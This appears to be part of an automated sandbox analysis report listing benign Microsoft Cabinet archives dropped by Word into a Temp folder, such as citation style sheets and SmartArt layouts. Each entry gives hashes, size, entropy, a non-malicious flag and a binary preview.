SSDEEP:	384:WnJY165YD0tPYoCKa3HueqRyzVscLk1Yj2GjcgbA8E0GftpBjE2kWTpjFLrHRN7N:X4rtPzCK6uRoljXBA8Pi62ZphL0HRA5p
MD5:	6D787B1E223DB6B91B69238062CCA872
SHA1:	A02F3D847D1F8973E854B89D4558413EA2E349F7
SHA-256:	DA2F261C3C82E229A097A9302C8580F014BB6442825DB47C008DA097CFCE0EE4
SHA-512:	9856D88D5C63CD6EBCF26E5D7521F194FA6B6E7BF55DD2E0238457A1B760EB8FB0D573A6E85E819BF8E5BE596537E99BC8C2DCE7EC6E2809A43490CACCD44169
Malicious:	false
Preview:	MSCF.....1......L............................1...?...................0......"}..............ieee2006officeonline.xsl.:...............Content.inf.........[...G."...3$pE...G B....m3o[...I2&.f.,\..........}.n..{..e.8!^.3.A@...x..... .D.52gU..]..."..N8....s..CS..J3..HV...m...y..o....F.z......V.j._....=~k.....'.dY........1........#...d13.g.&C...C.xw.`f.hf..........]M....m.m....ud...,+.H~..cL...e#;(RI...eA....I.b...E...2..(...$.j...L...$..A....'[...H9..&..G.Q....".M.yl....]..?j%+....O~.....\|.se...K\.B"W..F.5.......=s...l.Y...K..yN.TBH[...sTWR.N.d...WEa....T.d.K.^sauI......m..s=.,qso5.b.V.s.]..9..,k4.\..L.;D...........;r.C...7.w.j..:N8.V6..a.3..j:A.mA..To..$.5....:./..p.x.3.=..__...8.EB.K...].-."..5-XU..J.....=o..K.Wavg.o].z.9.gk.._.........MZ.<.5............OY.n.o...r.9v.c.......[n.[..D...d..}.j.....LB,]_.9..St.@..C....\...^....-&.njq..!P....G^.....w.7.p~.......M..g.J............t1......q.w.rx...qp.....E.........-...2..G.........z.]B........d....C.@...@.

C:\Users\user\AppData\Local\Temp\cabE7D8.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Cabinet archive data, many, 5647 bytes, 2 files, at 0x44 "RadialPictureList.glox" "Content.inf", flags 0x4, number 1, extra bytes 20 in head, 1 datablock, 0x1203 compression
Category:	dropped
Size (bytes):	21791
Entropy (8bit):	7.65837691872985
Encrypted:	false
SSDEEP:	384:PWew5RNDcvPgbA8E0GftpBjE0hsyaFLrHRN7BD9lI66YR:P3GRNDcEA8Pi60hsyABDo66g
MD5:	7BF88B3CA20EB71ED453A3361908E010
SHA1:	F75F86557051160507397F653D7768836E3B5655
SHA-256:	E555A610A61DB4F45A29A7FB196A9726C25772594252AD534453E69F05345283
SHA-512:	2C3DFB0F8913D1D8FF95A55E1A1FD58CE1F9D034268CD7BC0D2BF2DCEFEA8EF05DD62B9AFDE1F983CACADD0529538381632ADFE7195EAC19CE4143414C44DBE3
Malicious:	false
Preview:	MSCF............D................................?..................................RadialPictureList.glox.................Content.inf....8....[.... $nq......C...../U..........a......S.Q...Q....j............(..z,.g.........^...Y..D... #i.TH5.<.=N..$..7.p".7.............`.3..1~,=,(.d8.Z.1....4'G.....!W^gClf._j.-N..&k.....Y3` =.(S..B^...i.zB.U....0O..h...I.(.......L...5.X.8.Sc<=>w.=.?&.....mR.......x.......mpW.T..^.FU...SN.C)......vsa.,x......,....E..i>..[g...#t...M..GR.9..$/4.:..q.bc9..x{bC.0..K.)..t.Y.&.v.d.16.B..c..or..W.,.B.........O.0..k.v........*F+..U.w...d...o8......A).}...#......L.!?.U.r.^.$...e.(..PG)8..+.9.5.l}.)..b.7+. 4....-.lC...\|..j..Q.,.....7.W...\|;j...%...:...\|H..........<..%...K.....Fy.q$.k..}..8.9.M.u.?$].......r.....e.\|..._..iT.;Dq5[....f.s..P.......e.T....!Y{.....t.wm..A..w-..7...3..T.:8.4.a[.Oo.. V.l.@.}..........E.&..J.....+..+.9)9<.._R.Hb.....V..Qu....:v.t.Li.0..J..V..b...!..N....-mD..c..(.[&o>.M.b..H.q..lk../..........W.8..z..B...

C:\Users\user\AppData\Local\Temp\cabE7E8.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Cabinet archive data, many, 15338 bytes, 2 files, at 0x4c "gosttitle.xsl", iFolder 0x1 "Content.inf", 2 cffolders, flags 0x4, number 1, extra bytes 20 in head, 8 datablocks, 0x1203 compression
Category:	dropped
Size (bytes):	31482
Entropy (8bit):	7.808057272318224
Encrypted:	false
SSDEEP:	768:LgHv7aLOcoLGQ4EykdrHwLa+A8Pi6Iv8ACIa:LwvWyx4EykdTwLaWP7I0ACIa
MD5:	F10DF902980F1D5BEEA96B2C668408A7
SHA1:	92D341581B9E24284B7C29E5623F8028DBBAAFE9
SHA-256:	E0100320A4F63E07C77138A89EA24A1CBD69784A89FE3BF83E35576114B4CE02
SHA-512:	00A8FBCD17D791289AC8F12DC3C404B0AFD240278492DF74D2C5F37609B11D91A26D737BE95D3FE01CDBC25EEDC6DA0C2D63A2CCC4AB208D6E054014083365FB
Malicious:	false
Preview:	MSCF.....;......L............................;...?...................;......................gosttitle.xsl.$...............Content.inf....v....[...=..Ic.32.E...`o.............m....4uk[.,.......{...}k{.R@(Hq..68nv...@.D.....$...j....8Q..........8.8........3....bi?Wt...:(..J.;&eii..io.w..z...`.'..i.MLR@.>....N..3`P.>$X@(r.#.D..(....P"_..I.$o.. L!y...I...H.........{.{....{.3....7..w..{w.2sn.dYn.lW...l...c$.UH....L6. .D$$...!F.!... .D............_..'.`.Q.v>..Z..f.n.l....0o.......bK...?s..eO....'.>t......S'..........~....h...v&7:q.x9\|qs...%....:..D...ag.....e..'...".A.Y..?w"....p1t.9J.~.4.........~vj.n.8.;.O......../.}..io{p...e...\m.d`.gAm.......1"...N...8..g"......~..[.e+.....\6i4.....%...Rq.U-p?..4P..4.f.?N.vI?.M\i.;.s..E.L.hu.*...\..5....N......]......\`...rS.\g.....2..!a).?.l.!i.^.t.u...x...g/.A..v.E...\.@.>kM...&.g.....%.......{.....2..E.g...'..[w...N.w..& 4M.a.cu.%:...\.D..Q..C.'fm..i....@._......QI.. ....h..\|fB.il.(`..h.d;.l...`.s:

C:\Users\user\AppData\Local\Temp\cabE7E9.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Cabinet archive data, many, 5731 bytes, 2 files, at 0x44 "ThemePictureAlternatingAccent.glox" "Content.inf", flags 0x4, number 1, extra bytes 20 in head, 1 datablock, 0x1203 compression
Category:	dropped
Size (bytes):	21875
Entropy (8bit):	7.6559132103953305
Encrypted:	false
SSDEEP:	384:k73HRpZA6B3ulrnxtRT7G8E0GftpBjEdHqlFLrHRN7uhFlvQyUTL2m4c:k7XRgIkrG8Pi6dmuNvU+mp
MD5:	E532038762503FFA1371DF03FA2E222D
SHA1:	F343B559AE21DAEF06CBCD8B2B3695DE1B1A46F0
SHA-256:	5C70DD1551EB8B9B13EFAFEEAF70F08B307E110CAEE75AD9908A6A42BBCCB07E
SHA-512:	E0712B481F1991256A01C3D02ED56645F61AA46EB5DE47E5D64D5ECD20052CDA0EE7D38208B5EE982971CCA59F2717B7CAE4DFCF235B779215E7613AA5DCD976
Malicious:	false
Preview:	MSCF....c.......D...........................c....?..................................ThemePictureAlternatingAccent.glox.................Content.inf...3.....[.... .qq...........\<.^......o."......f.o...x.{..q..^.MH^...........{0.K....4pX.i...@6A4X.P.01d....'p.......zA.......... .......7.......a. `.=!@- ......>G.s.k~@.a.lfha:m....1...@.,G`....{....W..N..qs.......j.+TrsT.l.9..L...1+...d..-u..-.......).#u&...3......k.&C...DdZ.'.......8..<PF..r.eq.X6...u..v...s5.m.Q.l.G%.<.]....RV<...S..Dv..s.r.......dh.N.3-.Hf'.....3.GZ..E.kt.5......h...\|...?!.L....~.)..v....:2.../F.,....o.qi.i7..E.\|.mh.R_.@A.FO@i.....Feo...x.l...{E.\W9\|V...=#..3..(......tP.:i....Ox.U.N...%6...p.6&.....<zh.z.\|.<Z.?.k....y7m...F.Z$-.:.l.h...{T..7....?..T...d,r...z?../...`/Z......a.v@)....u......V..v.:.._.\|.'..[..O.s.OAt-."b.In"..I...J*.~H.:-...?..uV....dZ;z:.l.{.E.,.Q..i]:.0r.I.y..f...../j.wN...^R.....u....>..}....f.f...]A..C~;/....%..^#..N.a..........99.....`.....%..iS....S......$....)

C:\Users\user\AppData\Local\Temp\cabE7EA.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Cabinet archive data, many, 6450 bytes, 2 files, at 0x44 "ThemePictureAccent.glox" "Content.inf", flags 0x4, number 1, extra bytes 20 in head, 1 datablock, 0x1203 compression
Category:	dropped
Size (bytes):	22594
Entropy (8bit):	7.674816892242868
Encrypted:	false
SSDEEP:	384:L7d2l8FbHaaIKbtv1gDISi8E0GftpBjEZRFLrHRN74bUll7PK/pd:LUlCIOt/8Pi6Zv4bMId
MD5:	EE0129C7CC1AC92BBC3D6CB0F653FCAE
SHA1:	4ABAA858176B349BDAB826A7C5F9F00AC5499580
SHA-256:	345AA5CA2496F975B7E33C182D5E57377F8B740F23E9A55F4B2B446723947B72
SHA-512:	CDDABE701C8CBA5BD5D131ABB85F9241212967CE6924E34B9D78D6F43D76A8DE017E28302FF13CE800456AD6D1B5B8FFD8891A66E5BE0C1E74CF19DF9A7AD959
Malicious:	false
Preview:	MSCF....2.......D...........................2....?..................0...............ThemePictureAccent.glox.....0...........Content.inf.o.@D..8.[.........B.....?. $...K.....~....aZ.WA"...k.......Z......."......"..X.fpB 2@d..87.[.A......p..e.'......F..P^%.%.RK...........T%0..........9..+8 ...&.q.....+.......^.fad^^n...d.....s1..... .3j.c-c7..y<.....6........C5n.KG...Rs[lt..ZkwI.!..Uj.ez_!A^: /.;.Rl4....^..<6..N...'.YY.n.E{.`..s.7..z.......L.y.Y.....q.kx.....[5.+<to......1...L.r.m..kC.q.k.1..o.w8s.....xh.@.b.`l\...}z1.6..Y.</DY...Z5..D...0..4.;..XAA..0qD..E.....h...C..hH......S..Z.\.VBu......Rxs.+:RKzD......{......a..=......).<.....d.SM.......c!t.4.h..A=J~.>q?Hw.^.....?.....[..`....v.nl..A.u...S!...............c......b.J.I.....D...._?}..or.g.JZ#."_``.>.....{...w......s...R.iXR..'z....S.z.\..f.....>7m..0q.c-8\..nZw.q..J.l....+..V....ZTs{.[yh..~..c........9;..D...V.s...#...JX~t8%......cP^...!.t......?..'.(.kT.T.y.I ...:..Y3..[Up.m...%.~

C:\Users\user\AppData\Local\Temp\cabE810.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Cabinet archive data, many, 15327 bytes, 2 files, at 0x4c "sist02.xsl", iFolder 0x1 "Content.inf", 2 cffolders, flags 0x4, number 1, extra bytes 20 in head, 8 datablocks, 0x1203 compression
Category:	dropped
Size (bytes):	31471
Entropy (8bit):	7.818389271364328
Encrypted:	false
SSDEEP:	768:eNtFWk68dbr2QxbM971RqpzAA8Pi6TlHaGRA5yr:eNtEkpGSbuHAkP7TlHaGq54
MD5:	91AADBEC4171CFA8292B618492F5EF34
SHA1:	A47DEB62A21056376DD8F862E1300F1E7DC69D1D
SHA-256:	7E1A90CDB2BA7F03ABCB4687F0931858BF57E13552E0E4E54EC69A27325011EA
SHA-512:	1978280C699F7F739CD9F6A81F2B665643BD0BE42CE815D22528F0D57C5A646FC30AAE517D4A0A374EFB8BD3C53EB9B3D129660503A82BA065679BBBB39BD8D5
Malicious:	false
Preview:	MSCF.....;......L............................;...?...................;......g...............sist02.xsl.................Content.inf....!....[...=.rF..3U.5...g.i?..w.oY..If'.......Y.;.B.....Wo.{T.TA.~......8......u.p....@Q..k.?.....G....j.\|.J69H.2.ee..23s..;3..i..L.,...0se.%J........%.....!.....qB...SC...GAu5.P..u7....:.\|.$Fo............{.......v.v.g..{o....e.....m.JeRG..,.%.1..Lh.@8.i.....l.#.HB`B....C......D@....?....P?..................\|.9..q.......9.n.....F...s,....3..Q..N......y......_i..9\|.<w...'q.Tq...U.E.B...q.?.4..O(_O.A.......jC.~.21.7.....u.C...]uc.....-.g.{C~9q.q.1.1...4..=.0.Z.^....'../....-.6.K.....K...A#.GR..t.@.{.O.......Q5..=....X...^...F3.e.E.Z..b+R..?Z..0T1.....gQz.&....%y=zx.f.....6-...u.Rm..x<...?...!g@.}..).J...:...9.s&.v..}..'...\..Sd..F...........kQr.....h..3..1....B...B{M...%O.59.\.#....s/.pE.:}...k_.P.>.zj....5\|.9+....$M..L........(...@#.....N.....N...........E..7..R$.:9!r>7.....v...>..S.w....9..]..n.w.;&.W..<r\S....

C:\Users\user\AppData\Local\Temp\cabE823.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Cabinet archive data, many, 10800 bytes, 2 files, at 0x44 "ConvergingText.glox" "Content.inf", flags 0x4, number 1, extra bytes 20 in head, 1 datablock, 0x1203 compression
Category:	dropped
Size (bytes):	26944
Entropy (8bit):	7.7574645319832225
Encrypted:	false
SSDEEP:	384:sbUX16g8/atF4NB3TJOvqeMRD/8svIZj/OwgbA8E0GftpBjEYwFLrHRN7mYll7PY:sbhg8yY4nMZK2hA8Pi6Yum4IVR
MD5:	F913DD84915753042D856CEC4E5DABA5
SHA1:	FB1E423C8D09388C3F0B6D44364D94D786E8CF53
SHA-256:	AA03AFB681A76C86C1BD8902EE2BBA31A644841CE6BCB913C8B5032713265578
SHA-512:	C48850522C809B18208403B3E721ABEB1187F954045CE2F8C48522368171CC8FAF5F30FA44F6762AFDE130EC72284BB2E74097A35FE61F056656A27F9413C6B6
Malicious:	false
Preview:	MSCF....0......D...........................0...?..................t,..............ConvergingText.glox.....t,..........Content.inf..C..)t-[.....@.........=...xxA. ...E^....x.x.^.......x..^^...DF.......s..d.P.....5.;..]...2.t.w.....O9.G..;.'.T....@I.,.q.u.3..P...9... ....`J.......g.(....).,.h0.....$.3..;.._.....~.de.jj.....U..K.0....`.@.H.1.x.Z.@..q....?....x.wW.....+am8A".....I..)..]...s..-z.2S+\|.Cb.t6f],.n.LV......OVg....O.at\|..-..x.....:....]s...u..g}.P..v.3....^.".%..%...#.2.....l00...n.......r8.p.....^.....n.)..,..t.^$b...b.q.W...F..R...n.-.+..'........Aw=._OwH....8.:s..{.#..{N.hW..`.._........Wy....>U.?....-.8tg...=..y..@.,.v\|......l...t..l#{...H....9..\|......~...De..#@y.&K....U...q.c.zK..D.<pV.....Ql..&Y...=#...w....r.`#2....Ug.J(..T...KmW.@...!....j:......M......!..E.7#s.t..F.aU..N....-.i......\|w.lr..G.n.,.......=Kl.-m.?F.....v]?.......{q.U.t...<.\|..u.....3R.`.t.T.>;v.....KQ...S...7..1...N.kN.y.)v.....3H:..D.{.+.(......u..^W&.

C:\Users\user\AppData\Local\Temp\cabE834.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Cabinet archive data, many, 17466 bytes, 2 files, at 0x4c "chicago.xsl", iFolder 0x1 "Content.inf", 2 cffolders, flags 0x4, number 1, extra bytes 20 in head, 10 datablocks, 0x1203 compression
Category:	dropped
Size (bytes):	33610
Entropy (8bit):	7.8340762758330476
Encrypted:	false
SSDEEP:	768:IlFYcxiahedKSDNAPk5WEEfA8Pi6xnOKMRA58:2JitdKsNAM5WBDP7xOKMq58
MD5:	51804E255C573176039F4D5B55C12AB2
SHA1:	A4822E5072B858A7CCA7DE948CAA7D2268F1BB4B
SHA-256:	3C6F66790C543D4E9D8E0E6F476B1ACADF0A5FCDD561B8484D8DDDADFDF8134B
SHA-512:	2AC8B1E433C9283377B725A03AE72374663FEC81ABBA4C049B80409819BB9613E135FCD640ED433701795BDF4D5822461D76A06859C4084E7BAE216D771BB091
Malicious:	false
Preview:	MSCF....:D......L...........................:D...?..................XC.....................chicago.xsl. ...............Content.inf.!..B...[...H."m..3C.6...WP!i/Z..vn._...^omvw+...^..L.4o...g..y......^..x...BH.B.K....w.....F........p ./gg.h.0I',.$..a.`....^..vi..mw..........K....oQ............P...#...3.......U(.=...q.~?..H..?.'I4'.......X...}w.vw.....f.n..f{3.....-....%dK&q..D.H.Z..h-..H.[$ %.."..e....1...$.............'.....B..%..4...&`S!DQ...M.......N~............S..'....M..4E.^..dej..i..+.`...6F%sJ....Q..d.(.s.Z...U-5Eh.s.CK...K..X$......j..T.?.`.\|...=..R...-7......TU.....7a...&I.noOK\|.W.R-+S.d..rR.....{h.Y...)..xJ..=.XM..o...P'.I4m..~I..C..m.....f.....;{Mzg+Wm.~...z...r-.....eK...lj:^.1g5...7.h(T"..t?5......u.....G.Z<..sL.\{...8=t...Z...'tps.:...\|....6.....S..X...I...6l.M.....aq.;YS....{:.&.'.&.F.l...\.[L.%.so\.v.Lo...zO.^^...p..9k...).CC..F0>L...VUE4.......2..c..p.rCi..#...b.C@o.l.. E_b..{d...hX.\_!a#.E.....yS.H...aZ...~D3.pj: ss?.]....~

C:\Users\user\AppData\Local\Temp\cabE847.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Cabinet archive data, many, 15418 bytes, 2 files, at 0x4c "harvardanglia2008officeonline.xsl", iFolder 0x1 "Content.inf", 2 cffolders, flags 0x4, number 1, extra bytes 20 in head, 9 datablocks, 0x1203 compression
Category:	dropped
Size (bytes):	31562
Entropy (8bit):	7.81640835713744
Encrypted:	false
SSDEEP:	384:yhsBScEWkrljntbzuMmWh7ezPnGgbA8E0GftpBjohgsRFLrHRN7ybll7PK/p:MsBScwtnBmWNeTzA8PiuWsvyDI
MD5:	1D6F8E73A0662A48D332090A4C8C898F
SHA1:	CF9AD4F157772F5EDC0FDDEEFD9B05958B67549C
SHA-256:	8077C92C66D15D7E03FBFF3A48BD9576B80F698A36A44316EABA81EE8043B673
SHA-512:	5C03A99ECD747FBC7A15F082DF08C0D26383DB781E1F70771D4970E354A962294CE11BE53BECAAD6746AB127C5B194A93B7E1B139C12E6E45423B3A509D771FC
Malicious:	false
Preview:	MSCF....:<......L...........................:<...?..................D;.......V..............harvardanglia2008officeonline.xsl.L...............Content.inf.Vu......[...E..o..3D.5..nF.A..+.e.....6r..f........M3...-.s.m.... $r.b.!.q!.....G...0.\.......fd......%m...'1Y..f..O....#.P.,{..m...\|..ww.{.m...f...n%...,..y...0y...8.Q...`.../.q....a...',.V......8.7..8t..................6.]..6..nw..ynm..-l.Y..,.I?..$....+b9$E!S@"..) .4........H...lA...@!a.F.l$..0#!.....n&.5j.t+..1f\|.+....E.zDk.l8.+<q.^.........\5.l..iT.9...........Y..6.^,.o.bn.E5w..s.../...W.gS..j9..'W.F......].4\Mzz..Td..Ho..~.Q...Z..D..O.JP..m..s.j.:..........y._.....#..rD....60.\!y........p.o3,..Ub,......[[L.{.5.....5.7UDB9.{;;g.z.z..jM.G.MY.oe.....(r..B6..CV.7Fl.Z/....-.O.vY.c...-..........b.T)3.u..f~x2.?.8.g.x.-.....Qt_...$e.l..jtP..b....h...sW0.`.....c...F_....t.........LC..*5I.X$^.;&....#.._\J..........;..wP..wX.qy.qs...}46..fK.XN.&0........k1....8...............'t.......}.......O_.

C:\Users\user\AppData\Local\Temp\cabE848.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Cabinet archive data, many, 16689 bytes, 2 files, at 0x4c "iso690.xsl", iFolder 0x1 "Content.inf", 2 cffolders, flags 0x4, number 1, extra bytes 20 in head, 9 datablocks, 0x1203 compression
Category:	dropped
Size (bytes):	32833
Entropy (8bit):	7.825460303519308
Encrypted:	false
SSDEEP:	768:+0TU06CkaUYMoi//YX428RaFA8Pi6e9iA4I3w:vICTm/QorUpP7eAA4I3w
MD5:	205AF51604EF96EF1E8E60212541F742
SHA1:	D436FE689F8EF51FBA898454CF509DDB049C1545
SHA-256:	DF3FFF163924D08517B41455F2D06788BA4E49C68337D15ECF329BE48CF7DA2D
SHA-512:	BCBA80ED0E36F7ABC1AEF19E6FF6EB654B9E91268E79CA8F421CB8ADD6C2B0268AD6C45E6CC06652F59235084ECDA3BA2851A38E6BCD1A0387EB3420C6EC94AC
Malicious:	false
Preview:	MSCF....1A......L...........................1A...?..................S@......v...............iso690.xsl.................Content.inf.B.9.....[...A.c...32.E...P..'.^}.f...ikMJ....m..s..U.w{m{{...}n.4........I. ..9..d..I.......P\|....F...F.......&&J.:I.34......+M3..4mr.........m.r..m)....dK.wiw...H,...r........y.$..Cu...L...dH.../..V......g.PG$R39...4O..............{w..^....c.m.m.o.....#..Fgs..6.....b....3.I..O....B..B..1h"....K\|f .41......_..g.N.<.>........(....o3a.M)....J..}....-......8.......g.hm!r<...-..1.1....q.?....S.m...`L.g#.K.igv.].ghD....L...p5..?.......iP.[JS.J..?z~.T/.Q...E.K.......P+\LW.-.c..[9.n.7.....P...[.A1....m...4h.9...N[....h5 n%k.~RR.c..n..=...4....).eH.-./..>.....r..S.*..dE.........pF..s.A..?...f..u.+.{..?>N.4].}Xb.M......y......'.2..'..........J4{r..r.3........5>..a0.>.u_.y@g....+y.yu--,ZdD.........5]3..'.s...\|.....K.....T..G.G.e...)..\x..OM.g...`..j0......BfH...+.....:......l`.qU...;.@...",.."........>;P.B.^F...3!......Rx.9..

C:\Users\user\AppData\Local\Temp\cabE849.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Cabinet archive data, many, 30269 bytes, 2 files, at 0x4c "Text Sidebar (Annual Report Red and Black design).docx", iFolder 0x1 "Content.inf", 2 cffolders, flags 0x4, number 1, extra bytes 20 in head, 2 datablocks, 0x1203 compression
Category:	dropped
Size (bytes):	46413
Entropy (8bit):	7.9071408623961394
Encrypted:	false
SSDEEP:	768:WaxA0CH65GY3+fvCXCttfR8JEBrkquwDn+QV5V+vNWBatX/xG8Pi65sMuMjvU+mQ:hne65GYOfKXMSEBrBtDnzFAI4JxP75sM
MD5:	C455C4BC4BEC9E0DA67C4D1E53E46D5A
SHA1:	7674600C387114B0F98EC925BE74E811FB25C325
SHA-256:	40E9AF9284FF07FDB75C33A11A794F5333712BAA4A6CF82FA529FBAF5AD0FED0
SHA-512:	08166F6CB3F140E4820F86918F59295CAD8B4A17240C206DCBA8B46088110BDF4E4ADBAB9F6380315AD4590CA7C8ECDC9AFAC6BD1935B17AFB411F325FE81720
Malicious:	false
Preview:	MSCF....=v......L...........................=v...?..................5u......................Text Sidebar (Annual Report Red and Black design).docx.v...............Content.inf..C,.zd..[............... .w.....b...wwww]r..W\ww...... .hh...........o.nz.....Ku.7..-.oH...h;.N..#.._.D,}......!Q$..Un.tI11..$w.r3... ..p...=.1....""..n.../....h.A...Y..c,.Q.,......",..b.1.w..$.....l../;..J.....~.. ....+.R#....7.-..1.x.feH.@.......u...(.DQ%.wL.N\|.xh...R..#....C...'X.m.....I{W.....5.C.....\....z.Y.)w..i...%....M..n.p.....{..-G9..k.bT.6........7....).....6..ys.....R.e.....0.Xk`.3..X\xL..4J"#.f...:....r..2..Y.uW..052.n.+ ..o..o..f&u.v.&9y.P..6.K..in.DU.#.~....4i..6;.5.w..i...g.(....../..0Vh...C..//....W..:w......7.6....]....4.9...sL.0k...zHh..2N.H.....]..(.x.:..........Y.+...-.....&.*^..Q.sW...v..w.....k.L.e.^.W4iFS..u.....l.g'...b~:Zm...S.2.\|......5S..=.............l.../\|....G\|.9 ..#.q...W.Q...G=.."W..'.6....I....D._.{.g.47....V.1._..<?....m............)..T.

C:\Users\user\AppData\Local\Temp\cabE86A.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Cabinet archive data, many, 14939 bytes, 2 files, at 0x44 "CircleProcess.glox" "Content.inf", flags 0x4, number 1, extra bytes 20 in head, 1 datablock, 0x1203 compression
Category:	dropped
Size (bytes):	31083
Entropy (8bit):	7.814202819173796
Encrypted:	false
SSDEEP:	384:0XbSq3W46TVZb5fOFo1HtZwGqtRT44hS+nyBoiuFgbA8E0GftpBjEcBFLrHRN7Ku:0XpOflfOFo1DMr/iuuA8Pi6cfKjW66b
MD5:	89A9818E6658D73A73B642522FF8701F
SHA1:	E66C95E957B74E90B444FF16D9B270ADAB12E0F4
SHA-256:	F747DD8B79FC69217FA3E36FAE0AB417C1A0759C28C2C4F8B7450C70171228E6
SHA-512:	321782B0B633380DA69BD7E98AA05BE7FA5D19A131294CC7C0A598A6A1A1AEF97AB1068427E4223AA30976E3C8246FF5C3C1265D4768FE9909B37F38CBC9E60D
Malicious:	false
Preview:	MSCF....[:......D...........................[:...?...................A..............CircleProcess.glox......A..........Content.inf......9.B[.....@........!...(A.D..K.W.wwpwJj\.K\w...]...K.!.....@0..?,...}won`... ....&I..(;.....X.u..^.R..^......_:....W>f\....T...B..i`\|q.....................i.5....(........0q7@.@..F...?A.`.....,L.......5.+../56..a`....1C5..9.I.N.......@\|<+./......... .ya....>l.,t.......y.y5...FF.,F..jCA...SA..H....8u.L..eM?.w8.......~^.Mr.[...(.._......u..+.......j..TJ.:<.3.X`...U.bz...[...r-...[...+..B.......}...\'.i...C.8.B_...c.8</..s.....VQ.Y..m.,.j~;y ...2.5.VQ...K..jP..2..r-...HA...."..9).7.....5.E._.wq.......!.+n+.f...s].4M'.1&...5....4..k..NV.M1.7`a..<.P4.\|.mrd.i.R...u...............v.}..n\.C$.....[..2c.^..W..g..._.0.C.o....%.z.!.;.@y.`\..UO#i.)...Q...........L. .\:_..H.{.W...@...T.4..A.a...Wo?o$4.....#.V.s8M.Gh..p?A...Y.....)...........r\|...!..o9...8..%#.[....;...3<Z...g....~.Z....,.(...qA.'x#..xC..@...HOuW.[.[....c.........

C:\Users\user\AppData\Local\Temp\cabE8AD.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Cabinet archive data, many, 14864 bytes, 2 files, at 0x4c "mlaseventheditionofficeonline.xsl", iFolder 0x1 "Content.inf", 2 cffolders, flags 0x4, number 1, extra bytes 20 in head, 8 datablocks, 0x1203 compression
Category:	dropped
Size (bytes):	31008
Entropy (8bit):	7.806058951525675
Encrypted:	false
SSDEEP:	768:ktH7oN/HbwiV+M+4Jc+5UrT3czi5uOHQA8Pi6DxUR/WTZIy:87sPEANXJc+eTMsuzP7DmN0ZIy
MD5:	E033CCBC7BA787A2F824CE0952E57D44
SHA1:	EEEA573BEA217878CD9E47D7EA94E56BDAFFE22A
SHA-256:	D250EB1F93B43EFB7654B831B4183C9CAEC2D12D4EFEE8607FEE70B9FAB20730
SHA-512:	B807B024B32E7F975AED408B77563A6B47865EECE32E8BA993502D9874B56580ECC9D9A3FEFA057FDD36FB8D519B6E184DB0593A65CC0ACF5E4ACCBEDE0F9417
Malicious:	false
Preview:	MSCF.....:......L............................:...?...................9......................mlaseventheditionofficeonline.xsl.L...............Content.inf.N.#.....[...>..9..3c.5...F.B.]Y.3..%d.8...v;....~Y.L.=..v..m.g...\|K.B....$......s.......#CdE.p.p..@...j.Nl2'...L..N.G:-V:.d.....i..M........mK.w.....\W.<.`..b$.!..!3..rT.A..#.).;KZ...a.-..j&e`R.~7dIRS.I..f.ff....}.}....^[wo.uw..i.m7......v$.I..n....-.Z.M5...iH..Ea..., [..0.L...DH..." ..... .@...H.@..+...}.......^..'.4.tHa..f].gV..~.7V.....C..).(.U"..f.@l..j'..%\.u.UU.....9<13...5..=........./..Z..{..-.L].+Y.fL.<EJ.q..!.j....W..]E./.~Y>...GgQ..-....Q.C..5..T+...fO. .)..~.7..Y....+..U=.e..8w.m...._..S..v.d.* ......S3z.X)......u...t.......i.;.a...X.Ji....g.3.!.O.....T.f6..[U....O..Z.X.q.G....?.k]..?...8.u.;].8y.T.9D..!?R....:........3+.P.....7?m}..............1...y3.g.\c.ks^;?.f.U5...U.j....E.N.}.!.......).R1....~.....R.....3.J.f...l..E^:...&_..%..v...^..E...rC..O....M.#..<..H..bB.+.W..

C:\Users\user\AppData\Local\Temp\cabE8AE.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Cabinet archive data, many, 15461 bytes, 2 files, at 0x4c "gostname.xsl", iFolder 0x1 "Content.inf", 2 cffolders, flags 0x4, number 1, extra bytes 20 in head, 8 datablocks, 0x1203 compression
Category:	dropped
Size (bytes):	31605
Entropy (8bit):	7.820497014278096
Encrypted:	false
SSDEEP:	384:7SpOUxgQ9gFodHZktfHa2TSmcAg76j8/xorK0JoZgbA8E0GftpBjE2PzFLrHRN7S:OngHltf7Bcp/xoB3A8Pi625D8RA54
MD5:	69EDB3BF81C99FE8A94BBA03408C5AE1
SHA1:	1AC85B369A976F35244BEEFA9C06787055C869C1
SHA-256:	CEBE759BC4509700E3D23C6A5DF8D889132A60EBC92260A74947EAA1089E2789
SHA-512:	BEA70229A21FBA3FD6D47A3DC5BECBA3EAA0335C08D486FAB808344BFAA2F7B24DD9A14A0F070E13A42BE45DE3FF54D32CF38B43192996D20DF4176964E81A53
Malicious:	false
